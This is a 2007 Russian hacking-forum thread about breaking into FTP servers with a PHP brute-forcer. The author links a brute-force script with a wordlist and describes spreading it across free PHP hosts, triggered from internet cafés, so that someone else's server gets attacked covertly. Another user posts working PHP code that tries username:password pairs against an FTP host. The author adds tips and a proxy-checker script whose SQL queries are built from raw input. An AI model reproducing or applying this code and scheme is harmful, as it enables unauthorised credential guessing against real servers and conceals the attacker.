Ломаем Ftp скриптом на Php

Discussion in 'PHP' started by MasterMushi, 20 Dec 2007.

  1. MasterMushi

    MasterMushi Member

    Joined:
    19 Dec 2007
    Messages:
    29
    Likes Received:
    5
    Reputations:
    3
    Представьте картину. В городе сотня интренет клубов и каждый для ваc ломает чейто FTP сервер. А вы дома сидите и только смотрите логи.

    Скрипт лежит тут.
    http://rapidshare.com/files/77833985/ftpbrute.zip.html
    181 кило с словарем.

    Брутер позволяет работать тихо, с выводом на экран и в файл. Читайте код, там есть немного пояснений как что включить.
    Короткое описание установки в файле readme

    Если кто допрокачает функционально, отпишитесь в личку буду только рад.
     
    #1 MasterMushi, 20 Dec 2007
    Last edited: 20 Dec 2007
    2 people like this.
  2. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Причём тут интернет клубы?
     
  3. LolFEm

    LolFEm Elder - Старейшина

    Joined:
    8 Sep 2006
    Messages:
    160
    Likes Received:
    52
    Reputations:
    5
    Наверное по задумке автора инет клубы под unix системами....
     
  4. netzzz

    netzzz Elder - Старейшина

    Joined:
    11 Aug 2005
    Messages:
    29
    Likes Received:
    3
    Reputations:
    0
    или в инет клубе нужно поставить веб сервер и ломится на какой нить фтпшник
     
  5. ShaHasH

    ShaHasH Member

    Joined:
    11 Feb 2006
    Messages:
    12
    Likes Received:
    5
    Reputations:
    0
    Странные теперь программеры пошли, такое грандиозное будущее для своих скриптов придумывают.... :confused:
     
  6. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Кстати почему не назвал свое творение? Щас модно давать имена своим хекерским штучкам...
     
  7. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    обычный брутер ftp, только не понял при чём тут инет-клубы =/
    За старания держи +
     
  8. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    не в этом дело, просто у тебя не хватает фантазии
    Как думаешь exe уже запуститься на windows? И почему бы его не поместить в авто загрузку с ключами для брута? И как думаешь палиться будет ?
     
  9. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    нет, незапуститься. ;) а прежде чем писать херню, полазь еще по сайтегу с пхптуекзе и подумай о смысле жизни .......... :-D
     
    2 people like this.
  10. MasterMushi

    MasterMushi Member

    Joined:
    19 Dec 2007
    Messages:
    29
    Likes Received:
    5
    Reputations:
    3
    ну народ.
    В интернет клубахничего ставить не нужно. Они вообще условность. Все что нужно - точка доступа к сети и любой http клиент. Даж мабилы подойдут.

    Обьясняю на пальцах в чем суть. Ставим скрипт гденибудь на hut2.ru и делаем базу mySQL гденибудь у буржуев на сервере без учета трафика. Идем в любой клуб запускаем с машины какойнибудь нашу страничку. Кликаем Продолжить. Сворачиваем. Идем в другой клуб там тоже открываем нашу страничку и кликаем продолжить. Так до бесконечности. Можно открыть по 5-10 страниц с одной точки. Ограничение только на мощность хостера. Пароли на подбор не повторяются. выборка паролей из таблицы ведется только если пароль еще не пробовался. В тихом режиме траффик между интернет клубом и сервером отсутствует почти полностью.

    Если есть централизованый сервер SQL и куча php хостингов представляете какая сеть получается? к примеру есть 20 клубов. и 10 серверов с php. В каждом клубе открываем на продолжение работы наши 10 страниц. Получаем 200 нитей. Работают только сервера хостеров. В клубе пока спецом не попытаются закрыть страницу ни о чем не поймут.

    А вы спокойно идете домой и смотрите через консоль в базе сработал какой пароль или нет.
     
    #10 MasterMushi, 20 Dec 2007
    Last edited: 20 Dec 2007
    1 person likes this.
  11. MasterMushi

    MasterMushi Member

    Joined:
    19 Dec 2007
    Messages:
    29
    Likes Received:
    5
    Reputations:
    3
    Чем это лучше обычных брутов? Во первых не нужна туча проксей. Трафик отсутствует (модемщикам счастье). Вычислительные мощности компов не задействованы. Если грохнут вашу страницу, ее всегда можно заново зарегить. Кроме того в некоторых конторах и хостерах Ftp вне закона. А через скрипт фтп идет уже через хостера.

    В Общем кто не попадал тот не поймет. не от жизни хорошей написано. ))) А держать для себя западло.
     
  12. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    ребят, это пиздец какой то, правда
    /me пошёл открывать странички в инет клубах
     
    1 person likes this.
  13. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    вот подумал о смысле жизни и о чудо получилось я нашел его.
    PHP:
    <?php
     
    if ($argc != )
      {
        echo 
    'Usege ftp.exe 127.0.0.1:21 filename.txt';
       }
     else
     {
      
    $file file($argv[2], "r");
      
    $count count($file);
      
    $n 0;

      while (
    $n $count)
     {
      
    $met explode(':'$file[$n]);

      
    $user $met[0];
      
    $pass $met[1];
      if ((
    $connect ftp_connect($argv[1])) && ($login ftp_login($connect$user$pass)))
      {
      echo 
    "Connect:".$argv[1]."\nUsername:".$user."\n";
      }
      else {echo 
    "Cant connect to: ".$argv[1]."\n";}
      
    $n++;
      }
      }
    ?>
    вот тебе exe http://slil.ru/25263171 тебе запускать не советую, а то еще сердечный удар будет, как это возможно такое;)
     
    1 person likes this.
  14. MasterMushi

    MasterMushi Member

    Joined:
    19 Dec 2007
    Messages:
    29
    Likes Received:
    5
    Reputations:
    3

    Дописываем в код в начале
    set_time_limit(0);
    иначе отвалится скрипт по timeout. И двух десятков перебрать не успеет.


    :) Все с простоты и начиналось. А потом: понадобился лог просмотреного, централизованое хранение результатов. более быстрый подбор и так далее до безконечности можно развивать ход мысли по улучшайзрам. К примеру добавить прокси соксовые, брутфорс по алфавитам. Трейсроут с фиктивными запросами на ДНСы чтобы каждый раз путь прокладывался немного подругому и отказы от соединения если путь совпадает с предидущими проходами (тут прийдется править сервер). А то и вовсе создать сайт через который любой желающий мог бы брутить.
    Заходиш. регистрируешся (а может даже и платиш чето) вводиш хост и кликаеш "запуск" и готовая сеть из 200-300 серверов делает все за тебя. ))) Мечты мечты.
     
  15. MasterMushi

    MasterMushi Member

    Joined:
    19 Dec 2007
    Messages:
    29
    Likes Received:
    5
    Reputations:
    3
    Кстати возвращаясь к проксям. берем db.php из предидущего архива. Ложим в один каталог с вот этим:

    PHP:
    <?php  
    // тут наши параметры доступа к базам данных
      
    $host 'Сюда вписываем хост';
      
    $user 'Тут юзер базы данных';  $password 'парольчег';
      
    $database 'Имя базы';
      
    $persistent false;
    ?>


    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <title>Проверщик живости проксей by Master Mushi</title>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    </head>
    <body  bgcolor="#eeeeee">
    <table width="751" border="0" cellpadding="5" >
      <tr>
          <td width="741" align="center" bgcolor="#000000"><font style="font-size: 36px; color: #FFFFFF;">Прокси живодерня</font> <font color="#eeeeff">v0.1</font></td>
      </tr>
      <tr> 
          <td bgcolor="#EDEFF1" height="400" align="left"  valign="top">
    <br>Внимание входной формат в файле должен быть XXX.XXX.XXX.XXX:port<br>
    <?
        error_reporting(E_PARSE); //Каждый охотник желает знать где сидит глюк кроме WARNING MESSAGES
     set_time_limit(0); // Вертимся скриптом до бесконечности, пока весь список не выйдет   
    if (!empty($_GET['infile']))
    {   
      $inf=trim($_GET['infile']); //Если нам прислали файл со списагом то....
      echo '<br>Новый список проксей: <b>'.$inf.'</b>';   
      echo '<br><br>Обновляем базу данных.';    
         echo '<br>Deleting old records...';
         require_once ('db.php');  //   Запросим внешний файл с отработчиком БД
         $db = new DB($host,$user,$password,$database);
         if (!$db->open()) { die ($db->error());};
         //Выполняем запрос на очистку старого списка         
         //-------Если нужно только обновить список то комментим отсюда-----
         $sql_qwery="delete from proxies_t"; //убиваем весь список нафиг или по вкусу тут можем просто обновить до новых.   
         if (!$db->query($sql_qwery))
             { echo '<font color="#770000"><b>Failed</b></font><br>';
               die ($db->error());
             };
         echo '<font color="#007700"><b>OK</b></font><br>' ;        
         //-------И досюда--------------------------------------------------
         echo '<br>Начинаю парсить файл...'; 
         @ $f1=fopen($inf,"r");
         $counter=0;
         $counteradd=0;
         $counterskipp=0;
         while (!feof($f1))
           { 
             $counter++;
             $s1=fgets($f1);  $s1=trim($s1);
             $sql_qwery="select * from proxies_t where proxyurl='".$s1."'";    
             if (!$db->query($sql_qwery))
                 {
                  echo '<font color="#770000"><b>Сдохли</b> на записи  '.$counter.'</font><br>';
                  die ($db->error());
                 };
             $matchcounter = $db->numrows(); 

             if(0==$matchcounter)
               {
                 $sql_qwery="insert into proxies_t (proxyurl) values ('".$s1."')";    
                 if (!$db->query($sql_qwery))
                             {echo '<font color="#770000"><b>Failed</b> at record  '.$counter.'</font><br>';
                              die ($db->error());} else $counteradd++;  
               } else {$counterskipp++;}
    }
         echo '<font color="#007700"><b>Сделано</b></font><br> '.$counter.' записей просмотрено<br>';
         echo $counteradd.' записей введено в базу<br>';
         echo $counterskipp.' лагов пропущено<br>';
         fclose($f1);
         echo'Закончили упражнение с базой данных.<br>';
        } 
         else echo '<br><b><font color="#770000">Такого файла увы нет</font></b><br>';
         echo'<br>Proxycheck started.<br>';
         $dbw = new DB($host,$user,$password,$database); //Этот класс у нас будет обновлять рабочие прокся
            if (!$dbw->open()) { die ($dbw->error());};
         $sql_qwery="select * from proxies_t where  note <> 'good'"; //только чистый выбор.   
         if (!$db->query($sql_qwery)) // А это у нас будет запрос на выборку всех проксей
              {echo '<font color="#770000"><b>Failed</b></font><br>'; die ($db->error());};
         while($row = $db->fetchassoc())
            {
             if(0!=strcmp('good', $row['note']))
               { // Мы пропускаем мимо все уже проверенные записи
                  $proxyarr=explode(":",$row['proxyurl']); //Разделяем проксю на порт и айпи
                  if ($socket  = @fsockopen($proxyarr[0], $proxyarr[1], $errno, $errstr, 30)) 
                   { fclose($socket);   
                     //Если нужен отчет на экран то раскоменчиваем echo строчки по умолчанию система будет работать тихо как партизан
                     // echo '<font color="007700">Working</font> proxy <b>'.$proxyarr[0].'</b> port <b>'.$proxyarr[1].'</b><br>';
                     
                     //Если проkся оказался живеньким то дописываем GOOD в ноты к записи его IP
                     $sql_str = "update proxies_t set note = 'good' where id = {$row['id']}";
                     if (!$dbw->query($sql_str)){ die ($dbw->error());}
                    }   
                //Завершили IF сработал сокет   
                //else echo '<font color="770000">Dead</font> proxy '.$proxyarr[0].' port '.$proxyarr[1].';
                //. Код ошибки <b>'.$errno.'</b>, '.$errstr.'.<br>';
               }
            } // завершили fetchassoc

         $dbw->freeresult(); //Закрываем класс который дописывает номы к записям о хороших проксях
         $dbw->close();

          echo'Проверка списка завершена.<br>';
          
          /*  Если нужно то раскоментируйте вывод в файл.
          echo'<br>Выводим в файл  (aliveproxies.txt)<br> ';


          $ouf='aliveproxies.txt';
          @ $tf=fopen($ouf, "w");
          $sql_qwery="select * from proxies_t where note = 'good'";    
          if (!$db->query($sql_qwery)){echo '<font color="#770000"><b>Сдох запрос</b></font><br>'; die ($db->error());}
          
          while($row = $db->fetchassoc())
              { fputs($tf,$row['proxyurl']." \n"); };
          fclose($tf);
          
          */
          
          /* А это закоменчен вывод живых проксей прямо на экран
          $sql_qwery="select * from proxies_t where note = 'good'";    
          if (!$db->query($sql_qwery)){echo '<font color="#770000"><b>Сдох запрос</b></font><br>'; die ($db->error());}
          echo '<br>Список рабочих прокси серверов и хостов'ж
          while($row = $db->fetchassoc())
              { 
               echo '<br>';
              
               };
          
          */     
          
          $db->freeresult();
          $db->close();
          echo 'Finished processing.<br><br>';


    ?>

    <br> 
    <form action="index.php" method="GET">    
    <table border="0" bgcolor="#E0E8EB" cellpadding="0" cellspacing="1" width="100%"> 
        <tr align="center"><td width="150" bgcolor="#dfdfdf">Proxy list:</td>
        <td  width="90%" align="left" bgcolor="#dfdfdf"><input name="infile" type="text"  size="24" value="" style="width: 200px;"></td>
        </tr>
        <tr align="center"><td width="150" bgcolor="#dfdfdf"></td>
        <td  width="90%" align="left" bgcolor="#dfdfdf"><input name="oksubmit" type="submit" maxlength="250" size="24" value=" Start Check " style="width: 200px;"></td>
        </tr>    
    </table>    
    </form>      
          </td>
      </tr>
    </table>
    </body>
    </html>

    Прописываем данные на доступ к базе данных
    И получаем сканер живых прокси серверов. Дешево и сердито. И можно тоже гонять кучами потоков с разных удаленных мест.
     
  16. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Не лучше ли пропинговать этот лист namp'ом? Твой злой чекер сводится только к:

    И где тут многопоточность? Вот в namp действительно многопоточность... А так это очередное поделье с громким названием...
     
  17. MasterMushi

    MasterMushi Member

    Joined:
    19 Dec 2007
    Messages:
    29
    Likes Received:
    5
    Reputations:
    3
    Я и не претендую на "громкость". А вот nmap на мабиле не запустиш.
     
  18. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    389
    Reputations:
    29
    если тебе не сложно ( я наверное тупая ((

    сними видео по теме... типа пошаговое руководство... ась??
     
  19. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    мой пример не для того чтобы фтп чекать;) LEE_ROY написал, что невозможно сделать из php скрипта exe и с ним чекнуть фтп. Наверно от только филосовствовать научился.
    ртуть Специалист (1/213) нет слов просто... думаю у кого репа хоть чуть выше 100 уже должны разбираться немного в программировании. Если тебе что то не понятно напиши в пм асю я тебе постараюсь объяснить непонятные для тебя моменты..
     
  20. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    389
    Reputations:
    29
    да при чем тут программирование? я суть процеса не поняла чуток.... и при чем тут репа? репа не показатель бля

    Терь уже ничего не надо... сама разобралась